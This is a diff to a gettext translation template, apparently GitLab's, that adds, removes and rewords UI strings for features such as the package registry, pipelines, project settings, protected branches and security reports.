msgid "More Information"
msgstr ""
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr ""
@@ -19836,6 +20317,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr ""
@@ -20152,6 +20636,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -20199,9 +20692,6 @@ msgstr ""
msgid "New Label"
msgstr ""
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr ""
@@ -20367,6 +20857,9 @@ msgstr ""
msgid "Next commit"
msgstr ""
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20412,6 +20905,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20478,7 +20974,7 @@ msgstr ""
msgid "No estimate or time spent"
msgstr ""
-msgid "No file chosen"
+msgid "No file chosen."
msgstr ""
msgid "No file hooks found."
@@ -20529,6 +21025,9 @@ msgstr ""
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -20616,6 +21115,9 @@ msgstr ""
msgid "No start date"
msgstr ""
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr ""
@@ -20787,6 +21289,26 @@ msgstr ""
msgid "Notification settings saved"
msgstr ""
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -20901,6 +21423,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr ""
@@ -21033,10 +21564,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -21126,9 +21654,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21153,9 +21678,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21186,6 +21708,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21272,12 +21797,6 @@ msgstr ""
msgid "Open"
msgstr ""
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr ""
@@ -21296,9 +21815,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr ""
@@ -21311,10 +21827,13 @@ msgstr ""
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
+msgid "OpenAPI"
msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "OpenAPI specification file path"
+msgstr ""
+
+msgid "Opened"
msgstr ""
msgid "Opened MRs"
@@ -21329,6 +21848,9 @@ msgstr ""
msgid "Opens in a new window"
msgstr ""
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21380,6 +21902,9 @@ msgstr ""
msgid "Or you can choose one of the suggested colors below"
msgstr ""
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21488,12 +22013,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21524,6 +22055,9 @@ msgstr ""
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -21542,6 +22076,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -21593,6 +22130,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -21617,9 +22157,6 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
-msgid "PackageRegistry|Maven XML"
-msgstr ""
-
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -21656,15 +22193,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr ""
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -21716,27 +22280,6 @@ msgstr ""
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr ""
@@ -21974,10 +22517,19 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
msgstr ""
msgid "Permissions"
@@ -22058,7 +22610,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22307,9 +22859,6 @@ msgstr ""
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr ""
-
msgid "Pipeline|Created"
msgstr ""
@@ -22328,6 +22877,9 @@ msgstr ""
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr ""
@@ -22403,6 +22955,18 @@ msgstr ""
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22472,9 +23036,6 @@ msgstr ""
msgid "Please add a comment in the text area above"
msgstr ""
-msgid "Please add a list to your board first"
-msgstr ""
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -22625,10 +23186,10 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
+msgid "Please try again"
msgstr ""
-msgid "Please try again"
+msgid "Please try and refresh the page. If the problem persists please contact support."
msgstr ""
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
@@ -22664,6 +23225,18 @@ msgstr ""
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -22802,6 +23375,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -22826,6 +23405,9 @@ msgstr ""
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -22850,6 +23432,9 @@ msgstr ""
msgid "Prioritized label"
msgstr ""
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr ""
@@ -23108,7 +23693,7 @@ msgstr ""
msgid "Profiles|Main settings"
msgstr ""
-msgid "Profiles|No file chosen"
+msgid "Profiles|No file chosen."
msgstr ""
msgid "Profiles|Notification email"
@@ -23498,6 +24083,9 @@ msgstr ""
msgid "ProjectOverview|You must sign in to star a project"
msgstr ""
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr ""
@@ -23513,49 +24101,82 @@ msgstr ""
msgid "ProjectService|%{service_title}: status on"
msgstr ""
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Event triggered when a commit is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|Event triggered when someone adds a comment."
+msgstr ""
+
+msgid "ProjectService|Event triggered when someone pushes to the repository."
+msgstr ""
+
+msgid "ProjectService|Issue URL"
+msgstr ""
+
+msgid "ProjectService|Jenkins URL"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current API key"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current password"
+msgstr ""
+
+msgid "ProjectService|Mock service URL"
+msgstr ""
+
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|To set up this service:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
@@ -23609,25 +24230,28 @@ msgstr ""
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr ""
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
+msgid "ProjectSettings|Every merge creates a merge commit."
msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
@@ -23639,7 +24263,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr ""
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -23651,7 +24275,7 @@ msgstr ""
msgid "ProjectSettings|Fast-forward merge"
msgstr ""
-msgid "ProjectSettings|Fast-forward merges only"
+msgid "ProjectSettings|Fast-forward merges only."
msgstr ""
msgid "ProjectSettings|Forks"
@@ -23663,10 +24287,10 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgid "ProjectSettings|Internal"
msgstr ""
-msgid "ProjectSettings|Internal"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
msgstr ""
msgid "ProjectSettings|Issues"
@@ -23699,10 +24323,13 @@ msgstr ""
msgid "ProjectSettings|Merge requests"
msgstr ""
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr ""
-msgid "ProjectSettings|No merge commits are created"
+msgid "ProjectSettings|No merge commits are created."
msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
@@ -23726,15 +24353,9 @@ msgstr ""
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr ""
-
msgid "ProjectSettings|Private"
msgstr ""
@@ -23765,7 +24386,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -23774,7 +24395,7 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
@@ -23795,16 +24416,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
-msgstr ""
-
-msgid "ProjectSettings|The variables GitLab supports:"
+msgid "ProjectSettings|Supported variables:"
msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -23816,12 +24434,15 @@ msgstr ""
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr ""
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -23849,10 +24470,10 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
msgstr ""
msgid "ProjectSettings|Wiki"
@@ -24386,6 +25007,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr ""
@@ -24407,7 +25037,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr ""
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -24428,6 +25058,9 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
@@ -24602,7 +25235,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -24791,7 +25424,7 @@ msgstr ""
msgid "Reduce this project’s visibility?"
msgstr ""
-msgid "Reference:"
+msgid "Reference"
msgstr ""
msgid "References"
@@ -24954,7 +25587,7 @@ msgstr ""
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr ""
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -24966,7 +25599,7 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
+msgid "Release|Something went wrong while getting the release details."
msgstr ""
msgid "Release|Something went wrong while saving the release details"
@@ -24990,6 +25623,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr ""
@@ -25038,9 +25674,6 @@ msgstr ""
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr ""
-
msgid "Remove from epic"
msgstr ""
@@ -25287,6 +25920,9 @@ msgstr ""
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25330,7 +25966,7 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
+msgid "Reports|Base report parsing error:"
msgstr ""
msgid "Reports|Classname"
@@ -25352,6 +25988,12 @@ msgstr[1] ""
msgid "Reports|Failure"
msgstr ""
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -25478,6 +26120,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr ""
@@ -25574,6 +26219,9 @@ msgstr ""
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -25882,7 +26530,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -26026,6 +26677,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -26059,9 +26713,6 @@ msgstr ""
msgid "Running"
msgstr ""
-msgid "Running…"
-msgstr ""
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr ""
@@ -26158,6 +26809,9 @@ msgstr ""
msgid "Save comment"
msgstr ""
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr ""
@@ -26176,6 +26830,9 @@ msgstr ""
msgid "Saving project."
msgstr ""
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26200,9 +26857,6 @@ msgstr ""
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr ""
-
msgid "Scheduling Pipelines"
msgstr ""
@@ -26254,6 +26908,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr ""
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr ""
@@ -26305,6 +26962,9 @@ msgstr ""
msgid "Search forks"
msgstr ""
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26314,6 +26974,9 @@ msgstr ""
msgid "Search milestones"
msgstr ""
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr ""
@@ -26519,6 +27182,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -26594,13 +27260,19 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
msgstr ""
-msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgid "SecurityOrchestration|Create a policy"
+msgstr ""
+
+msgid "SecurityOrchestration|Security policy project"
msgstr ""
-msgid "SecurityReports|Add a project to your dashboard"
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
@@ -26609,10 +27281,10 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -26627,6 +27299,9 @@ msgstr ""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr ""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -26684,16 +27359,28 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|Monitored projects"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|More info"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
msgstr ""
-msgid "SecurityReports|More information"
+msgid "SecurityReports|Monitor vulnerabilities in your group"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your project"
+msgstr ""
+
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
msgstr ""
msgid "SecurityReports|No activity"
@@ -26759,15 +27446,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -26819,9 +27497,6 @@ msgstr ""
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -26831,9 +27506,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr ""
@@ -26870,6 +27542,9 @@ msgstr ""
msgid "Select Stack"
msgstr ""
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr ""
@@ -26879,7 +27554,7 @@ msgstr ""
msgid "Select a label"
msgstr ""
-msgid "Select a namespace to fork the project"
+msgid "Select a milestone"
msgstr ""
msgid "Select a new namespace"
